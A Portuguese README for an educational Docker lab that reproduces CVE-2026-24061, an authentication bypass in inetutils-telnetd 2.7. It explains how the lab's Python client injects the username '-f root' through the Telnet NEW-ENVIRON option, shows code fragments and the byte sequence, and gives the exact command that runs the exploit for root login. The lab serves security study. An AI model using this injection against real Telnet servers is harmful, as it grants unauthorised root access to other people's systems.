
# Laboratório Docker Educacional demonstrando injeção de nome de usuário Telnet NEW-ENVIRON (CVE-2026-24061) com um cliente Python e servidor vulnerável para pesquisa de segurança isolada.
Um laboratório Docker leve para experimentar com negociação de protocolo Telnet, explicado no exploit CVE-2026-24061, que contém injeção automática de nome de usuário usando a opção NEW-ENVIRON.
Este projeto cria um ambiente cliente-servidor isolado para estudar como o Telnet lida com bypass de autenticação baseado em variáveis de ambiente.
+---------+ labnet +---------+
| node1 | ------------------> | node2 |
| Cliente | | Telnet |
| Python | | Servidor|
+---------+ +---------+
| Contêiner | Função |
|---|---|
| node1 | Cliente Python com script de auto-login |
| node2 | Servidor Telnet (inetutils-telnetd 2.7) |
Ambos os serviços rodam dentro de uma rede bridge Docker privada, chamada labnet.
.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py
Este arquivo é responsável pela instalação do contêiner cliente, chamado node1.
Escolhi python:3.12-slim como imagem base, pois o propósito deste laboratório é apenas comunicação de rede. Instalamos somente o cliente telnet e copiamos o exploit.py para a pasta raiz do contêiner.
O arquivo é responsável pela instalação do contêiner servidor, chamado node2.
A mesma imagem base se aplica a este contêiner também. No entanto, o processo de instalação envolve mais etapas:
wget, para obter a versão vulnerável do telnetd.apt get install -y/etc/inetd.conf habilita o serviço telnet.No topo do arquivo, vemos algumas constantes declaradas:
IAC = 255
DO = 253
DONT = 254
WILL = 251
WONT = 252
SB = 250
SE = 240
IAC, com o valor de 255, significa Interpret As Command (Interpretar como Comando), então marca o início da sequência de controle Telnet.
Você pode inspecionar ainda mais opções aqui
O formato geralmente se parece com:
IAC <comando> <opção>
No script, existe a seguinte parte:
# Handle telnet negotiation
if IAC in data:
handle_telnet_negotiation(sock, data, username)
Este if verifica se os dados atualmente recebidos do servidor contêm o valor IAC; se sim, precisamos interpretá-los como um comando.
Percorremos os dados recebidos usando um loop while. Verificamos cada byte para ver se é um IAC.
if data[i] == IAC:
cmd = data[i+1]
opt = data[i+2]
Se for, atribuímos às variáveis cmd e opt o byte correspondente do fluxo de dados.
Se o valor de opt for igual ao valor de NEW_ENVIRON, o script executa o método send_new_environ_user.
Vamos examinar a seguinte parte do código:
data = bytes([
IAC, SB, NEW_ENVIRON, 0, # IS
ENV_USERVAR
]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
IAC, SE
])
SB e SE fazem parte das constantes do protocolo Telnet. SB significa 'Subnegotiation begin' (Início de subnegociação), enquanto SE significa 'Subnegotiation end' (Fim de subnegociação). Qualquer coisa entre esses dois valores são configurações relacionadas a um comando específico, enviadas ao servidor. Neste caso, queremos enviar uma mensagem usando o padrão rfc1572, detalhado aqui.
Podemos traduzir livremente a sequência de bytes para português, como:
- Interprete isto como um comando (IAC)
- É (0)
- Uma nova variável de ambiente (NEW_ENVIRON)
- O valor desta nova variável de ambiente é (b"USER" + bytes([ENV_VALUE]) + username.encode())
- Encerre a subconexão (IAC + SE)
No entanto, há casos em que o servidor Telnet alvo não suporta variáveis de ambiente relacionadas a nomes de usuário. Nesse caso, fazemos fallback para enviar o nome de usuário da forma tradicional.
Verifique a instalação:
docker --version
docker compose version
docker compose up --build -d
Verifique o status:
docker ps
Você deve ver:
node1node2docker exec -it node1 bash
Defina um nome de usuário e execute o script:
USER="-f root" python exploit.py node2
O script irá:
node2 na porta 23USER=-f root usando NEW-ENVIRONlabnet| Hostname | Serviço |
|---|---|
| node1 | Cliente |
| node2 | Servidor Telnet |
O script cliente:
IAC, DO, WILL, que são comandos fundamentais do protocolo Telnet usados para negociação de opções entre cliente e servidor.NEW-ENVIRONUSER=<valor de $USER>
login: ou username: como fallbackPare o ambiente:
docker compose down
Se você também quiser remover contêineres e imagens:
docker compose down --rmi all
O Telnet transmite dados em texto puro e não é seguro. Este projeto destina-se apenas a fins educacionais, dentro de ambientes isolados.
Conexão recusada
Certifique-se de que os contêineres estão em execução:
docker ps
O script sai com erro de USER
USER="-f root" python exploit.py node2
Reconstruir após alterações
docker compose up --build
Este repositório é fornecido para uso educacional e de pesquisa. Contribuições e melhorias são bem-vindas.